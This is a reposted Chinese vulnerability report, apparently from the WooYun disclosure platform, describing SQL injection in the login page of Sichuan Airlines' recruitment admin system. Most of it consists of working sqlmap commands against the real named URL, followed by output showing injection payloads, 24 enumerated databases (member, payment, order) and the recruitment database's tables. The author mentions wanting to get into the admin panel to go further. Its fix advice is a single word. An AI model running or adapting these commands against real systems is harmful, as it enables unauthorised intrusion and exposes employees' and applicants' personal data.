记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

四川航空某系统sql注入

2015-01-11 01:50

http://www.scal.com.cn/invite2011/admin/default.aspx

主站下的 招聘系统

登陆框存在注入



sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName"



code 区域
[*] starting at 17:56:22



[17:56:22] [INFO] resuming back-end DBMS 'microsoft sql server'

[17:56:22] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: POST

Parameter: txtUserName

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

Payload: __VIEWSTATE=/wEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA==&__EVENTVALIDATION=/wEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm+&txtUserName=test' AND 7597=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(108)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (7597=7597) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(111)+CHAR(100)+CHAR(113))) AND 'oJlM'='oJlM&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95



Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: __VIEWSTATE=/wEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA==&__EVENTVALIDATION=/wEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm+&txtUserName=test' UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(108)+CHAR(102)+CHAR(113)+CHAR(67)+CHAR(77)+CHAR(66)+CHAR(117)+CHAR(73)+CHAR(84)+CHAR(73)+CHAR(114)+CHAR(103)+CHAR(106)+CHAR(113)+CHAR(100)+CHAR(111)+CHAR(100)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95

---

[17:56:22] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005





sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName" --dbs

code 区域
available databases [24]:                                                      

[*] Invite2011

[*] master

[*] model

[*] msdb

[*] SCAL3_B2C

[*] SCAL3_Card

[*] SCAL3_Familiar

[*] SCAL3_Hotel

[*] SCAL3_InsuranceNew

[*] SCAL3_Itinerary

[*] SCAL3_Log

[*] SCAL3_Mall

[*] SCAL3_Member

[*] SCAL3_Message

[*] SCAL3_MinPrice

[*] SCAL3_News

[*] SCAL3_Order

[*] SCAL3_Pay

[*] SCAL3_Preferential

[*] SCAL3_SaleRule

[*] SCAL3_SessionService

[*] SCAL3_SOA

[*] SCAL3_System

[*] tempdb





看的到主站其他数据库 但是权限太死了



sqlmap -u "http://www.scal.com.cn/invite2011/admin/default.aspx" --data "__VIEWSTATE=%2FwEPDwUJLTQyMDQ0NDg0ZGRW8Rle1Eha335a1UCBGPqyRjakLA%3D%3D&__EVENTVALIDATION=%2FwEWBALX1NKuAwKl1bKzCQK9wKW7DALCi9reAwrmloSmySCI2FFhDfLvB09EGUm%2B&txtUserName=test&txtUserPassword=asdasd&btnSubmit=%E7%99%BB%E5%BD%95" -p "txtUserName" -D Invite2011 --tables



code 区域
Database: Invite2011                                                           

[10 tables]

+-----------------------+

| sysdiagrams |

| t_InviteEducation_bak |

| t_InviteEducation_bak |

| t_InviteFamily_bak |

| t_InviteFamily_bak |

| t_InviteWork_bak |

| t_InviteWork_bak |

| t_Invite_bak |

| t_Invite_bak |

| t_User |

+-----------------------+





5.jpg





不知道加密是什么方式 故进不了后台 感觉进了后台 可以深入一下

漏洞证明:

存在很多员工 招聘信息



1.jpg





2.jpg





3.jpg





4.jpg

修复方案:

过滤

知识来源: www.wooyun.org/bugs/wooyun-2015-084829

阅读:72218 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“四川航空某系统sql注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词